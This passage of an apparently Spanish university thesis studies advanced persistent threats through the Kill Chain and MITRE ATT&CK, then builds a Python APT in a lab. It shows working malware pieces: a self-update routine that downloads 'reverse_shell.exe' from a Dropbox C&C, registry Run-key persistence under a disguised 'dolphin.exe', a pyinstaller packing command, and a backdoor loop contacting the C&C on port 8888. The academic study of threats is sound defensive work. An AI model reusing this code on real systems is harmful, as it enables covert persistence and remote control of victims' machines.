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Resumen

El presente trabajo de fin de grado consiste en el desarrollo e implementacion de un tipo de
malware conocido como APT. Se pretende con ello comprender su funcionamiento y asi poder
desarrollar medidas de proteccion efectivas.

La idea del proyecto surge como respuesta al aumento de ciberataques en organizaciones
gubernamentales y empresas durante los ultimos anos. El tipo de malware que se estudia es
uno de los mas dificiles de detectar y contrarrestar dado que el conocimiento que se tiene
sobre su funcionamiento es muy escaso. Ademas se especializan en evitar ser detectados.

Debido a esta incertidumbre y desconocimiento, es necesario estudiar el comportamiento
de este tipo de amenazas y asi poder desarrollar medidas preventivas que lo contrarresten.
No solamente es muy dificil de detectar sino que las consecuencias resultantes de su infec-
cién pueden ser muy graves, ya sea por el robo de informacién o por sabotaje a proyectos. Lo
primero que se debe hacer es entender lo que diferencia a las amenazas persistentes avan-
zadas(APTs) del resto de amenazas, su ciclo de vida y las técnicas que emplean con el fin
de realizar una implementacion que sea fiel a la realidad y que sirva para poder desarrollar
medidas de deteccion.
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Capitulo 1

Introduccion

1.1. Contexto

Hoy en dia, la seguridad informatica estd ganando cada vez mas importancia en la socie-
dad. Esto se debe al continuo aumento de ciberataques a organizaciones gubernamentales
y empresas a lo largo de los anos. Estos ataques no solo aumentan en numero, sino que
también se vuelven mas sofisticados y mas dificiles de detectar y prevenir.

Una de las amenazas mas dafinas para las empresas son las APT(Advanced Persistent
Threats), también conocidas como Amenazas Persistentes Avanzadas, que consisten en un
conjunto de procesos informaticos sigilosos orquestados por un tercero con la intencion y la
capacidad de atacar a través de multiples vectores de ataque (ingenieria social, vulnerabilida-
des...) y de forma continuada en el tiempo. Para realizar la infeccion es habitual aprovechar
vulnerabilidades de tipo zero-day, es decir, que aun no se han corregido. También es muy
comun que se exploten vulnerabilidades ya descubiertas y corregidas pero, dado que hay mu-
chos equipos que se quedan sin actualizar, siguen siendo vulnerables a esta amenaza.

1.2. Motivacion

En lo referente a las APTs, la documentacion sobre su funcionamiento es escasa. Este es
uno de los motivos por el cual su deteccidn y descubrimiento es tan compleja. El comprender
cémo funcionan estas amenazas, las técnicas que usan y sus objetivos pueden ser factores
determinantes para mejorar su deteccidn y evitar que puedan causar dafnos.

1.3. Objetivos y alcance

Como hemos mencionado, nuestro principal objetivo reside en comprender el funcionamien-
to de las APTs para, posteriormente, crear medidas de proteccion. Por ello, los objetivos se
concretaran en:

1. Estudio de las APTs: En esta fase se estudiara la documentacién disponible sobre APTs
para conocer su definicién y qué funcionalidad debera implementar el malware.

2. Creacion y configuracion del laboratorio de pruebas: Se modelara y configurara un
laboratorio de pruebas para realizar los experimentos con el fin de poner a prueba la
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funcionalidad desarrollada.

3. Creacion de la APT: Se disenara y desarrollara la funcionalidad de una APT para su
estudio practico.

4. Realizacion del experimento: Finalmente, se realizara un experimento donde se pondra
a prueba la funcionalidad desarrollada. Para ello, se simulara que uno de los equipos del
laboratorio de pruebas se infecta y se observara su comportamiento.
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Capitulo 2

Plan de proyecto

A continuacion se detallan los conceptos y acrénimos que se deben conocer; posteriormen-
te se presenta el plan de desarrollo de este TFG y finalmente se muestra el plan de riesgo.

2.1. Conceptos y acronimos

= APT: una APT es un conjunto de procesos informaticos sigilosos orquestados por un
tercero con la intencion y la capacidad de atacar a través de multiples vectores de ataque
(ingenieria social, vulnerabilidades...) y de forma continuada en el tiempo. Sus principales
caracteristicas son:

» Avanzada: Debido al gran niumero de técnicas que pueden emplear para llevar a
cabo sus objetivos.

* Persistente: Pueden llegar a permanecer un largo periodo de tiempo ocultas; nor-
malmente este tipo de ataques buscan una informacién especifica.

* Amenaza: Debido a la existencia de un atacante con un objetivo.

= Malware: es un término genérico para referirse a cualquier tipo de programa malicioso.
Este tipo de programas esta pensado para infiltrarse en un sistema sin que el usuario
se percate. Existe una gran variedad de ellos. Cada uno tiene sus objetivos y los intenta
cumplir de forma diferente. Sin embargo, todos comparten dos rasgos: se intenta ocultar
del usuario y tiene intereses en contra de la persona atacada.

» C&C: es un servidor que hace la funcion de centro de mando para malware relaciona-
do con ataques dirigidos y se usa para almacenar datos robados o enviar comandos.
El establecer comunicaciones con este servidor es vital para que los atacantes puedan
realizar movimientos laterales en la red.

2.2. Modelo y fases del proyecto

Para el desarrollo del proyecto se empleara la metodologia de desarrollo en cascada. En es-
te método lineal y secuencial de desarrollo, solo al finalizar cada fase se avanza a la siguiente.
Las fases son:

1. Fase de investigacion inicial: En esta fase se recopilara la documentacion necesaria
para el desarrollo del trabajo.

Pagina 3



TFG - Creacion de una APT - Escuela de Ingenieria Informatica

2. Fase de creacion del laboratorio de pruebas: Se modelara e implementara el labora-

torio de pruebas.

3. Fase de implementaciéon de funcionalidad: Se implementaran las distintas funcionali-

dades de la APT.

4. Fase de pruebas: Se realizara el experimento con la APT en el laboratorio de pruebas

para verificar que funciona.

5. Fase de documentacion: Finalmente, se completard la documentacion requerida para

la presentacién del TFG.

2.2.1.
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Figura 2.1: Diagrama de Gantt

Fases de la planificacion

Fases iniciales

2020/2021

ID: 02 Investigacion Inicial

Predecesoras: -

Duracién: 10 dias

Se debe realizar una investigacioén inicial y recopilar la documentacién ne-
cesaria para la realizacion del proyecto.

ID: 03 Creacidn del laboratorio de pruebas

Predecesoras: 02

Duracién: 10 dias

Se debe modelar e implementar el laboratorio de pruebas en el que se va a
probar la APT

Fases de implementacién de la funcionalidad

ID: 05 Conexion y actualizacion

Predecesoras: 03

Duracién: 5 dias

La APT intentara conectarse al Command and Control(C&C) para compro-
bar si hay una nueva version vy, si la hay, actualizarse.
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ID: 06 Persistencia

Predecesoras: 05

Duracién: 5 dias

La APT sera capaz de hacerse persistente en la maquina objetivo y activar-
se al iniciar sesién el usuario.

ID: 07 Backdoor

Predecesoras: 06

Duracion: 5 dias

La APT habilitard un puerto en la maquina para conexion remota e imple-
mentard una serie de comandos para facilitar algunas tareas como enviar y
recibir archivos.

ID: 08 Reconocimiento

Predecesoras: 07

Duracion: 5 dias

La APT sera capaz de hacer un reconocimiento de los equipos que hay en
su subred y los puertos que hay abiertos.

ID: 09 Escalado de privilegios

Predecesoras: 08

Duracion: 10 dias

La APT sera capaz de obtener permisos de administrador en la maquina
objetivo.

ID: 10 Movimientos laterales

Predecesoras: 09

Duracion: 10 dias

La APT sera capaz de propagarse a otros equipos.

ID: 11 Exfiltracién

Predecesoras: 10

Duracién: 5 dias

La APT sera capaz de enviar datos de forma cifrada u oculta al exterior.

Fases finales

ID: 12 Realizacion de pruebas

Predecesoras: 11

Duracion: 5 dias

Se probara la APT en un entorno controlado para comprobar que funciona
correctamente.

ID: 13 Documentacion

Predecesoras: 12

Duracién: 20 dias

Se completara la documentacién para la entrega del TFG.
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2020/2021

2.3. Plan de contingencia

A continuacién se presenta en la tabla el plan de contingencia para los sucesos que
pudieran ocurrir a lo largo del desarrollo del proyecto:

Riesgo
Averia de las maquinas del proyecto

Contingencia

En este caso se utiliza un sistema de con-
trol de versiones como GitHub o Dropbox
en caso de que el tiempo que quedase
para entregar el proyecto no fuese sufi-
ciente o usar otra maquina distinta

El tiempo disponible no es suficiente

Se retrasara la fecha de entrega del pro-
yecto hasta la segunda convocatoria.

Personal no disponible

En caso de que el personal no esté dispo-
nible causando un retraso en el proyecto,
se pospondra la fecha de entrega a la se-
gunda convocatoria.

Fallos de conexiéon

Si no se pudieran usar las maquinas en
las que se desarrolla el proyecto por pro-
blemas de conexion se procederia a re-
ajustar los plazos adelantando las tareas
que puedan prescindir de su uso hasta
que la conexidn se restablezca.

Actualizacion de la funcionalidad

En caso de que se realicen cambios en
los requisitos durante el desarrollo de iran
actualizando las fechas previstas de en-
trega.

Complejidad del desarrollo excede la es-
perada

En caso de que la funcionalidad que se
quiera implementar conlleve un mayor
tiempo de desarrollo, la fecha de entrega
se pospondra a la segunda convocatoria.

La planificacion tiene demasiada funcio-
nalidad para ser implementada en el
tiempo disponible

Si la funcionalidad prevista inicialmente
no puede ser implementada en el tiem-
po disponible se retrasara la fecha de en-
trega a la segunda convocatoria 0 en su
defecto se reduciria la funcionalidad a im-
plementar.

Cuadro 2.1: Tabla de contingencia
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Capitulo 3

Marco teorico

3.1. Advanced Persistent Threat

Una APT (Advanced Persistent Threat), también conocida como Amenzada Persistente
Avanzada, es un tipo de malware que usa varios vectores de ataque (como zero-days, ser-
vicios con vulnerabilidades, ingenieria social ...) combinado con el uso de técnicas avanzadas,
durante un largo periodo de tiempo hasta el cumplimiento del objetivo. Este malware se en-
foca en una organizacion en concreto y pasa mucho tiempo esperando una oportunidad para
vulnerarla. No toda amenaza es una APT.

Se puede decir que un malware es una APT si cumple con las siguientes caracteristicas:

= Es malware intencionado con objetivos definidos. Atacaran a un unico objetivo de forma
persistente.

= Tolerante frente al riesgo. Este tipo de malware tiene como objetivos permanecer ocul-
to en el sistema y aumentar su control sobre este. A veces, solo lo hace para causar
pérdidas y danos.

= Enfocado con un objetivo final. Tiene un objetivo claro y no se distrae con otros obje-
tivos secundarios. Por ejemplo, puede estar enfocado a robar contrasefas o a robar los
planos de un nuevo disefo.

» Sofisticado. Usa vulnerabilidades zero-day y ataques de multiples vectores.

= Multiples localizaciones. Los ataques que efectla pueden tener su origen en varias
fuentes distintas. Esto dificulta identificar la fuente del ataque.

= Se oculta en grandes volumenes de datos. Aprovecha grandes volimenes de datos
para que sea mas dificil distinguirlo de programas legitimos.

= Gran financiacion. Normalmente tienen una gran financiacién proveniente de una nacion
o de grandes corporaciones.

3.2. The Cyber Kill Chain

Cada vez son mas las empresas afectadas por ciberataques a pesar de que el nimero de
organizaciones que han implementado medidas de seguridad ha ido en aumento.

La clave para detectar, detener y recuperarse de un ciberataque es comprender su ciclo de
vida e implementar las medidas necesarias para contrarrestarlo.

El modelo de "Cyber Kill Chain” fue empleado en sus inicios en el ambito militar para definir
los pasos que usaba el enemigo al atacar un objetivo. Mas tarde los analistas de Lockheed
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Marting Corportation lo emplearon para ayudar a tomar decisiones frente a ciberataques e
intrusiones.

Figura 3.1: Cyber kill chain

El modelo consta de 7 etapas:

= Reconocimiento (Reconnaissance). En esta etapa se investiga, identifica y selecciona
objetivos a través de la recoleccion de informacién. También se recoge informacién téc-
nica como la tecnologia que usa el objetivo. Fuentes de informacion mas comunes son
informacion publica del objetivo y redes sociales.

= Militarizacién (Weaponization). Se decide cémo se va a llevar a cabo el ataque. Un
ejemplo de esto podria ser crear un word que contenga un malware y enviarlo por correo
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electronico a uno de los empleados.

= Entrega (Delivery). Consiste en la transmision del mensaje a las victimas. EI método
mas usado es mediante una campana de phishing en el que los destinatarios abran un
archivo malicioso que descargue malware.

= Explotacion (Exploitation). En esta fase el malware explota la vulnerabilidad de las
victimas para ganar acceso a los sistemas.

» Instalacion (Installation). El malware se instala en el sistema, descarga aquellos fiche-
ros que le sean necesarios y establece persistencia en el equipo.

= Comando y Control (Comand and control). Se establecen canales de comunicacién
con el atacante que permita controlarlo de manera remota.

= Acciones (Actions). La ultima fase consiste en cumplir el objetivo del ataque como ob-
tener credenciales de acceso o ficheros confidenciales.

3.3. Ciclo de vida de una APT de Mandiant

Una vez hemos visto las fases de la Cyber Kill Chain, pasamos a estudiar de forma mas
especifica las fases del ciclo de vida de una APT. A continuacién se expone el modelo de ciclo
de vida de una APT de Mandiant [6].

Figura 3.2: Ciclo de vida de una APT de Mandiant

El modelo presenta dos fases iniciales: Reconocimiento Inicial (Initial Reconnaissance),
que seria la fase de Reconocimiento de la Cyber Kill Chain, y la fase de Compromiso Ini-
cial(Initial Compromise), que abarcaria las fases de Militarizacién y Entrega.

La siguiente fase se llama Establecer Punto de Apoyo (Establish Foothold), que consiste
en instalar backdoors que nos permitan acceder sin ser detectados. Esta fase abarca las fases
de Explotacion e Instalacion de Cyber Kill Chain.

A continuacion, en la fase Escalada de Privilegios (Privilege Escalation) se pretende obte-
ner privilegios de administrador en el sistema. Este paso es muy importante para la obtencién
de nombres de usuario y contrasefas que luego permitiran el movimiento sigiloso a través de
la red.

La fase de Reconocimiento Interno (Internal Reconnaissance) consiste en recopilar infor-
macion de dentro de la red. Después se haran Movimientos Laterales (Move Laterally) en
los que se usaran las credenciales previamente descubiertas para acceder a otros sistemas
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de la red. A continuacion, se pasara a la fase de Mantener Presencia (Maintain Presence) en
la que se pretende asegurar un posterior acceso a ese entorno, ya sea replicando la APT en
el equipo o abriendo una backdoor.

La ultima fase es Completar la Mision (Complete Mission) donde el atacante consigue su
objetivo, ya sean archivos confidenciales o comprometer un servicio.

Una vez hemos visto las fases del ciclo de vida de una APT, tenemos una idea mas clara
de cual es el comportamiento esperado de este malware.

3.4. Adversarial Tactics, Techniques and Common Knowledge Model
And Framework

The MITRE Corporation, mas conocida como MITRE, es una organizacién estadounidense
sin animo de luco localizada en Massachusetts y Virginia. Provee ingenieria de sistemas, in-
vestigacion y desarrollo, y soporte sobre tecnologias de la informacion al gobierno de Estados
Unidos de América.

En 2013 crearon ATT&CK (Adversarial Tactics, Techniques & Common Knowledge), a la
fecha en version beta, para catalogar y analizar las Amenazas Persistentes Avanzadas. Esto
es un repositorio de técnicas y tacticas usadas por atacantes de incidentes que han afectado
a organizaciones.

MITRE tiene tres matrices de técnicas:

= Matriz PRE-ATTACK&CK][20]: abarca las fases de reconocimiento y militarizaciéon de la
Cyber Kill Chain.

= Matriz ATT&CK para empresa(18]: recoge el resto de fases aplicado a cada sistema
operativo.

= Matriz ATT&CK para dispositivos moviles|[19]: presenta técnicas empleadas en dispo-
sitivos moviles.

Figura 3.3: Esquema de matrices de MITRE
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Algunas de estas tacticas se van a emplear en el experimento. Actualmente, la matriz de
Mitre recoge las siguientes 14 categorias de tacticas de ataque: Reconocimiento, Desarrollo de
Recursos, Acceso inicial, Ejecucién, Persistencia, Escalado de privilegios, Evasion de defensa,
Acceso de credenciales, Descubrimiento, Movimiento lateral, Coleccion, Comando y Control,
Exfiltracion e Impacto.

En cada columna de la matriz se presentan las distintas técnicas con las que se podria em-
plear esa tactica. Estas técnicas se clasifica en tipos, que a su vez explican en qué consisten
y las formas de mitigar y detectar para cada caso.

A continuacion se presentan algunas de las técnicas mencionadas:

Reconnaissance Resource Initial Access Execution
Development
10 technigues 7 technigues 3 techniques 12 technigues
Active Scanning Acguire Drive-bry Command and
Infrastructure Compromise Scripting
Gather Victim Host Interpreter
Information . Compromige Exploit Public-
Accounts Facing Container
Gather Victim ldentity - Application Administration
Information 5. Compromise Commana
Infrastructure Externa
Gather Victim Remote Deploy Container
Metwork Develo Services
Information 4 Capabilities Exploitation far
Hardware Client Execution
Gather Victim Org Estahlish Additions -
Information ;. Accounts Inter-Process
- |F"his"|irg 3 n Communication
Phizhing for Obtain -
Information 5 Capabilities Replication Mative AP
Through
Search Closed Stage Removable Scheduled
SOUrces (- Capabilities o Media Task/Job
Search Open Supply Chain Shared Modules
Techrica Compromise g
Databaszes ¢ Software
Trustea Deployment Tools
Saarch Open Relatic "|E-|'"|:=
Websites/Domaina 5 System
Valid Services -
Search Victim-Owned ACCOUNTS [y
Websites User Execution 5
Windows
Management
Instrumentation [

Figura 3.4: Matriz de empresa de MITRE (Ult. modif: 27 Abril 2021)
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Capitulo 4

Laboratorio y desarrollo del experimento

Para la realizacién del experimento, usaremos el siguiente laboratorio:

Figura 4.1: Mapa de la red del laboratorio de pruebas

La red consta de las siguientes secciones:

= [ntranet: En esta parte de la red se localiza un directorio activo que consta de un ser-
vidor de Directorio Activo (AD) y cuatro terminales Windows. Estos terminales tienen las
siguientes caracteristicas:

* Windows 10 pro 10.0.19042 N/D Compilacién 19042
* Dos procesadores Common KVM processor 2.30 GHz
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* 4 GB RAM

La maquina (WINDOWS-01) tendra asignado el rol de sistema infectado en el experimen-
to y para ello se ha instalado un servicio vulnerable.

= DMZ: En esta zona se encuentra un servidor web y un servidor DNS. Es una red local que
se ubica entre la intranet y la red externa. El objetivo de una DMZ es que las conexiones
desde la red interna y externa a la DMZ estén permitidas, mientras que en general las
conexiones externas solo se permitan pasando primero por la DMZ.

= Yellow: Cuenta con un servidor DNS externo a la Intranet y un equipo Windows.

= Internet: Esta compuesta por terminales Ubuntu que simulan equipos de Internet.

= Atacantes: Los equipos que la componen son terminales Kali Linux y nos serviran para
simular ataques desde el exterior de la red. Los equipos tienen las siguientes caracteris-
ticas:

« Kali Linux 2020.3
* Dos procesadores Common KVM processor 2.30 GHz
+ 2 GB RAM

Una de estas maquinas (KALI-02) cumplira el rol del C&C. Para ello se ha instalado
python y las librerias: mss, pypykatz, getmac, requests, dropbox, ping3, key_generator,
cryptography, grpcio, grpciotools, protobuf.

4.1. Comunicacion con el command and control

En esta seccién se describird qué es un servidor Command and Control, qué es un beacon
y cdmo se comunican entre si [27].

Un servidor C&C (Command and Control) hace la funcién de centro de mando para malware
relacionado con ataques dirigidos y se usa para almacenar datos robados o enviar comandos.
El establecer comunicaciones con el C&C es vital para que los atacantes puedan realizar
movimientos laterales en la red.

Los sistemas C&C seguira uno de estos dos modelos:

1. Modelo centralizado: Este modelo es el predominante en los malware existentes. Mu-
chas APTs conocidas como APT30, APT3 o APT28 [1] lo implementan. En el modelo
centralizado, se instala un servidor con gran ancho de banda para ser el punto de contac-
to de los beacon. El C&C, normalmente también se trata de un sistema infectado, ofrece
servicios web como IRC, HTTP ...

En el momento en el que un dispositivo se infecte, este intentara conectarse al servidor
C&C. Una vez conectado, el malware esperara hasta recibir algdn comando. También
puede tener mecanismos para proteger las comunicaciones como cifrado.

Las ventajas de este modelo son:

» Simplicidad: es un sistema facil de montar y con un solo dispositivo se pueden
controlar multitud de sistemas infectados.
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= Resiliencia: se han usado pocas contramedidas para luchar contra servidores C&C,
por lo que este modelo es resiliente en el mundo real.

= Bajo coste: con un solo servidor basta controlar multiples dispositivos por lo que no
incurre un alto coste.

La desventaja de este modelo es que depende del servidor C&C para su funcionamiento,
por lo que este es el punto mas débil. Si se es capaz de descubrir y destruir el servidor
central, la red de equipos infectados sera inutil.

2. Modelo P2P: Buscando un modelo mas resiliente se empezaron a desarrollar modelos
P2P.

La ventaja de este modelo es que, comparado con el modelo centralizado, este es mucho
mas dificil de descubrir y destruir, dado que eliminar un nodo no conlleva la inhabilitacién
de la red. Es por esto que se cree que el futuro habra mas malware con este modelo de
comunicacion.

Por otro lado, este modelo también tiene sus limitaciones:

= Pocos usuarios: solo soportan conversaciones entre pequenos grupos, entre 10 y
50 de usuarios.

= Entrega de mensajes: no asegura la entrega de mensajes ni la latencia de propa-
gacion, por lo que la comunicacién es mas dificil de coordinar que en un modelo
centralizado.

Es por esto que no hay pocos casos en los que se use este modelo. Sin embargo, se
suele usar para atacar un nimero pequeno de objetivos.

El modelo se ha usado para este trabajo es el modelo centralizado por su simplicidad y bajo
coste.

En el diagrama de secuencia se muestra como se comunican el equipo infectado y el
servidor. Una vez establecida la conexién, el equipo infectado quedara a la espera de una
instruccion del servidor. Cuando se reciba el comando, se procesara y se enviara la respues-

ta al C&C. Solo se finalizara la conexién con los comandos "g’(cierre de conexidén) o "shut-
down”(apagar el malware hasta el préximo reinicio).
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Figura 4.2: Diagrama de secuencia de las comunicaciones.

Se podran dar los siguientes casos:

4.2.

En caso de que el comando recibido sea "download” se enviara el archivo seleccionado
al C&C.

En caso de que el comando recibido sea "screenshot” se enviara la captura de pantalla
del equipo al C&C.

En caso de que el comando recibido sea “upload” se recibira el archivo seleccionado
desde C&C y se guardara en el equipo.

En caso de que no sea ninguno de los anteriores se enviara el output del comando.

Software empleado

El software empleado para el desarrollo de este trabajo ha sido Python 3.9 y las siguientes
librerias:

Librerias internas:

sys: Para obtener informacion del sistema como el nombre del archivo que se esta eje-
cutando o cerrar el programa.

os: Para ejecutar comandos en el sistema.

subprocess: Para invocar subprocesos en el sistema.

shutil: Para copiar archivos.

base64: Para codificar archivos en base64 y que su transmision por la red se simplifique.
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= time: Esto nos permitira activar funcionalidad en funcién del tiempo que ha pasado desde
un evento.
= socket: Para gestionar las comunicaciones entre C&C y la APT.

Librerias externas:

= mss 6.1.0: Para realizar capturas de pantalla.

= requests 2.25.1: Para descargar archivos de la red.

» dropbox 11.4.1: Libreria de la API de dropbox para subir archivos a Dropbox.

= ping3 2.7.0: Para hacer un escaneo de pings a equipos de la misma subred y ver si estan
activos.

= getmac 0.8.2: Para obtener un identificador Unico del equipo y asi distinguirlo de otros
equipos infectados.

= pypykatz 0.4.7: Para extraer los hashes del archivo DMP del proceso que contiene las
contrasefas del sistema.

= pyinstaller 4.2: Para generar a partir del cédigo Python un ejecutable .exe. Este ejecu-
table no requiere que haya ningun programa instalado para funcionar en el sistema.

= grpcio==1.37.1 y grpcio-tools==1.37.1: Para poder usar el framework gRPC.

4.3. Desarrollo del experimento

En los siguientes apartados se describira el desarrollo que se ha llevado a cabo, siendo el
propdsito principal del proyecto la realizacién de este y la comprension del comportamiento
de una APT. Usando el modelo del ciclo de vida de una APT de Mandiant y llevandolo a
cabo mediante las técnicas mostradas por MITRE ATT&CK, se ha desarrollado una programa
en Python que nos permitird explicar de forma préctica las acciones de esta amenaza.

Para convertir el script a un archivo ejecutable ”.exe” usaremos la libreria de python pyins-
taller con el siguiente comando:

pyinstaller -F --noupx --clean --icon=dolphin.ico -n "dolphin" reverse_shell.pyw

Listing 4.1: Comando pyinstaller

El script tiene la extension ".pyw” para que no aparezca la consola de comandos al eje-
cutar el archivo. Finalmente obtendremos el archivo ejecutable que usaremos para realizar el
experimento:

Figura 4.3: APT en formato .exe
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4.4. Conexion y actualizacion

En esta fase se expondra como la APT realiza la conexion al servidor de Dropbox, com-
prueba si hay una nueva version de si misma y descarga la nueva version para hacer la per-
sistencia.

Para esto, usaremos las siguientes técnicas de la matriz MITRE:

= Web Service (T1102): utilizaremos la API de un servicio web para descargar actualiza-
ciones y comprobar si hay una nueva version del malware. Para comprobarlo, descarga-
remos el archivo version.txt de nuestra carpeta de la nube y, si el numero de version que
contiene es mayor al que tenemos en el cédigo, procedemos con la descarga de la nueva
version.

= Command and Scripting Interpreter - Python (T1059.006): Para realizar estas tareas
usaremos el lenguaje de programacién Python.

4.4.1. Cddigo y desarrollo

Empezamos directamente en esta etapa inicial en la que el archivo malicioso ya ha sido
ejecutado en el equipo. Para esta parte, usaremos las librerias requests, os, subprocess
y shutil. Estas nos permitirdn hacer peticiones web para descargar y gestionar archivos y
ejecutar comandos en la maquina.

En el punto (1) del script[4.2, el script intentard descargar el archivo version.txt de la car-
peta de dropbox. El funcionamiento de la API de dropbox se detalla en la seccién [4.10] Si la
descarga tiene éxito y el numero que contiene el archivo es mayor que de la variable version
del script (2), significara que el hay una nueva version disponible.

def update():
global ipCC
global version
try:

(1) metadata, res = dbx.files_download(path="/version.txt")
lastVersion = int(res.content)

(2) if lastVersion>version:

(3) with open(tempFolder+"reverse_shell.exe", "wb") as f:
metadata, res = dbx.files_download(path="/reverse_shell.exe")
f.write(res.content)
f.close()

Listing 4.2: Cédigo fuente del método update()

Una vez se ha cumplido la condicion se procedera a la descarga de la nueva version de la
APT. Se hara una peticién del archivo reverse_shell.exe (3) alojado en el servidor web del
C&C y se creara un archivo local en el que se escribira su contenido.

Una vez hecho esto, se procedera a hacer la persistencia ya sea del archivo descargado o
en caso de que no haya ninguna nueva actualizacion, del mismo script que se esté ejecutando.

Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son:
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Conexion y actualizacion
Nombre de la técnica | ID de la técnica
Web Service T1102

Python T1059.006

Cuadro 4.1: Técnicas empleadas en conexion y actualizacion

4.5. Persistencia

En esta fase se busca establecer la persistencia para asegurar que el atacante puede ac-
ceder al sistema de la victima incluso después de un reinicio del sistema. Esto lo haremos
copiando nuestro archivo en una carpeta y creando un registro que apunte a nuestra APT para
que se ejecute al iniciarse el equipo.

Para esto, usaremos la siguiente técnica de la matriz MITRE:

= Boot or Logon Autostart Execution: Registry Run Keys (T1547.001): crearemos un
registro en el sistema para que se ejecute nuestra APT al iniciar sesion el usuario.

4.5.1. Cddigo y desarrollo

Para pasar desapercibidos, crearemos archivos en el directorio %appdata % del usuario.
Este directorio es una de las carpetas ocultas del sistema operativo Windows que se usa para
almacenar datos de aplicaciones como Firefox, Skype o Adobe. Es especifico de cada usuario
y, dado que lo mas probable es que solo tengamos permisos de usuario, podemos usarlo para
almacenar archivos.

Primero, en el método persistence() crearemos el directorio que usaremos para crear y
borrar archivos. Lo llamaremos \\dolphin\\ y lo pondremos en el directorio %appdata %.

def persistence():
global tempFolder
global persistName

# Carpeta temporal donde se guardaran todos los archivos
tempFolder = os.environ["appdata"] + "\\dolphin\\"

try:
if not os.path.exists(tempFolder):
os.makedirs (tempFolder)
except:
pass

Listing 4.3: Cddigo fuente del método persistence()

Después se pueden dar dos casos: que estemos con la ultima versién y no haya actuali-
zacion o que haya una nueva actualizacién y se tenga que hacer la persistencia de la nueva
version.

En el primer caso, creamos un registro que ejecute el programa cuando se inicie el equipo,
copiamos el archivo al directorio %appdata % y o renombramos a dolphin.exe. En el caso de
ser administradores, crearemos un registro local en vez de en el usuario actual.
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if is_admin():
try:
location = os.environ["appdata"] + "\\"+persistName+".exe"
if not os.path.exists(location):
shutil.copyfile(sys.executable,location)
subprocess.call(’reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v dolphin /t
REG_SZ /d "’ + location + '"’, shell=True)

except:
pass
else:
try:
location = os.environ["appdata"] + "\\"+persistName+".exe"
if not os.path.exists(location):
shutil.copyfile(sys.executable,location)
subprocess.call(’reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v dolphin /t
REG_SZ /d "’ + location + ’'"’, shell=True)
except:
pass

Listing 4.4: Codigo fuente del método persistence()

En el segundo caso, no sabemos si ya se ha creado un registro o es la primera vez
que se ejecuta el programa en la maquina. Si no existe el registro que ejecute el pro-
grama dolphin.exe, lo creamos. Para terminar, copiamos la nueva actualizacion al directo-
rio Yeappdata %, lo renombramos a dolphin.exe y borramos la actualizacion del directorio
actual.

#Hacer la persistencia

location = os.environ["appdata"] + "\\"+persistName+".exe"

if not os.path.exists(location):

subprocess.call(’reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v dolphin /t REG_SZ /d "
+ location + ’'"’, shell=True)

shutil.copyfile(tempFolder+"reverse_shell.exe", location)

os.remove (tempFolder+"reverse_shell.exe")

Listing 4.5: Cddigo fuente del método update()

4.5.2. Experimento Fase de Conexion y Persistencia

En esta seccidn se mostrard en caso practico de como la APT hace la actualizacién y la
persistencia.

Primero, comprobara si hay una nueva version y, en caso de que la haya, descargara el
archivo de Dropbox y procedera con la persistencia. Copiara el archivo descargado o a si
mismo en la carpeta %appdata %, como se muestran en las imagenes y y creara el
directorio "\\dolphin\\”, donde se guardaran los archivos temporales. Al mismo tiempo creara
una entrada en los registros que apunte a ese archivo.
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Figura 4.4: Captura del equipo WINDOWSO01 - Fase conexion y persistencia

Figura 4.5: Captura del equipo WINDOWSO1 - Fase conexion y persistencia

Una vez hecho esto, la APT se activara cada vez que se inicie el equipo.

Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son:
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Persistencia
Nombre de la técnica ID de la técnica
Registry Run Keys / Startup Folder T1547.001

Cuadro 4.2: Técnicas empleadas en persistencia

4.6. Backdoor

En esta fase se busca intentar establecer una conexién con el servidor C&C y facilitar al ata-
cante una manera de acceder y controlar remotamente el equipo. La APT intentara conectarse
al servidor KALI para recibir instrucciones. También comprobara si hay tareas pendientes de
realizar en el servicio de nube. En caso de que haya, se descargara las tareas, se realizara
cada una de ellas y se devolvera un fichero con los resultados.

Para esto, usaremos las siguientes técnicas de la matriz MITRE:

= Command and Control (TA0011): intentaremos recibir comandos tanto del servidor KA-
LI como del servicio de nube y luego devolveremos los resultados.

= Encrypted Channel - Symmetric Cryptography (T1573.001): tanto la comunicacion
con el KALI como con el servicio de nube, usando la API de Dropbox, estan encriptados.

= Non-Standard Port (T1571): para comunicarnos con el servidor de KALI usaremos el
puerto 8888.

4.6.1. Cddigo y desarrollo

Estos son los pasos que vamos a seguir para gestionar esta fase:

{ Connection() E—
N S
/ ™ e ™
{ C&C — shell() )
\. 4 NG S
. ———
e ™ N
| checkCommands() —————  runCommand|() )
N S/ ANy /
—— ——

Ve ™
‘ RECONOCIMIENTO )
N S

Figura 4.6: Diagrama de flujo de la fase backdoor
Antes de empezar, como no sabemos si podemos conectarnos al C&C, ya sea porque no

esta activo o porque un firewall bloquea el trafico, intentaremos conectarnos durante un periodo
de tiempo limitado y, una vez agotado ese tiempo, procederemos con las siguientes fases.
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{ Connection() | E—

C f//i\\
C&C shell() )
\ S

———
/ S \ f/"i \
| checkCommands() ——— runCommand() )
L S \ S

T I

/ ™
| RECONOCIMIENTO |
. _/

Figura 4.7: Diagrama de flujo de la fase backdoor

Es por esto que tendremos un método inicial para gestionar los intentos de conexién y lo
que pasa una vez se ha agotado el tiempo de espera. En este ejemplo {4.6}, (1) guardamos el
tiempo actual para posteriormente saber cuanto tiempo ha pasado desde el inicio. Después, si
no hemos recibido la orden de cerrar el programa (2) intentamos conectarnos al puerto 8888
del servidor (3) y, una vez conectados, procedemos a ejecutar el método shell(), en el que
implementaremos varios comandos.

En en caso de que no podamos conectarnos al C&C, (4) comprobaremos si tenemos co-
mandos en dropbox pendientes de ejecutar. El funcionamiento de la API de dropbox se detalla
en la seccion 4,10

# Intenta conectar durante 30 seg y luego hacer escaneo de puertos #
def connection():

global sock

global exit

global start

global scanned

global ipCC

global stub

(1)start = time.time ()
scanned = False

(2)while True: # si exit=True se acaba el programa

i=20
while i < 6:
#intentamos conectarnos a CnC
(3) try:
#print ("Connecting")
channel = grpc.insecure_channel (ipCC+’:8888")
stub = chunk_pb2_grpc.FileServerStub (channel)
shell ()
except Exception as e:
#print (e)
pass

if exit == True:
sys.exit ()
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(4)

# Comprobamos si tenemos comandos pendientes que ejecutar
try:

checkCommands ()
except:

pass

time.sleep(5)
i+=1

